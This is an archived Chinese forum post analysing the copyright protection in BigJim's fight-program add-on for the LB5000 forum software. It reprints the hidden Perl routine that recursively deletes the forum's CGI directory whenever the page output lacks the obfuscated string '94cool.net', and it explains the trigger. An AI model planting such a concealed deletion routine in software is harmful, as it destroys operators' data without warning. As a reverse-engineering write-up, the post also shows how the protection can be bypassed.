星星博客's Archiver

cnangel 发表于 2005-8-24 20:42

BigJim的拳王程序的版权保护技术的详细解析

[color=red]
#本文并不是想改BigJim的版权
#纯粹的技术研究工作
#这些研究成果给大家一起分享
#觉得不错请鼓掌[/color]
我听说如果改变版权,整个LB5000的CGI目录会被清空。
准备试试~
动手前,我想应该有两种可能性
是删除版权的变量$fightcopyright会破坏论坛,
可能我改变版权人的名字会破坏论坛。
经过试验,只要改变$fightcopyright的版权就会破坏论坛。
为什么?
我先分析分析删除目录的程序代码,还好程序不长,
在这里,606行的:
[code]
sub upmewinner
{
my $uptarget = shift;
return 1 if (unlink($uptarget));
return 0 unless (opendir(DIRS, $uptarget));
my @dirlist = readdir(DIRS);
closedir(DIRS);
my $upstatus = 1;
foreach (@dirlist)
{
next if ($_ eq "." || $_ eq "..");
$delstatus = 0 unless (&upmewinner($uptarget . "/" . $_));
}
return 0 unless($upstatus);
return 0 unless(rmdir($uptarget));
return 1;
}
[/code]
这是清目录的!
赶快寻找&upmewinner,就是这句判断:
[code]
&upmewinner($lbdir) if (($output !~ /$ttt1$ttt2$ttt3/i) && $ttt1 && $ttt2 && $ttt3); [/code]
如果变量$output(就是HTML输出)里找不到$ttt1$ttt2$ttt3就执行
子程序upmewinner,传送$lbdir,你的论坛就……
继续找,看看$ttt1,$ttt2,$ttt3是什么东西。
$ttt1 = 94;
#简单,不说了
$ttt2 = "co" . "ol";
#变量$ttt2的值为“co”,不过追加“ol”到变量,那么就是“cool”
$ttt3 = "." . "ne" . "t";
#变量$ttt2的值为“.”,追加“ne”再次追加“t”,就是“.net”
$ttt1$ttt2$ttt3连接就是94cool.net
如果程序的输出页面中没有“94cool.net”程序就调用&upmewinner($lbdir)清空论坛。
问题已经解决!

版权保护就这么简单~~
希望对大家学习技术方面有所帮助

页: [1]

Powered by Discuz! Archiver 7.0.0  © 2001-2009 Comsenz Inc.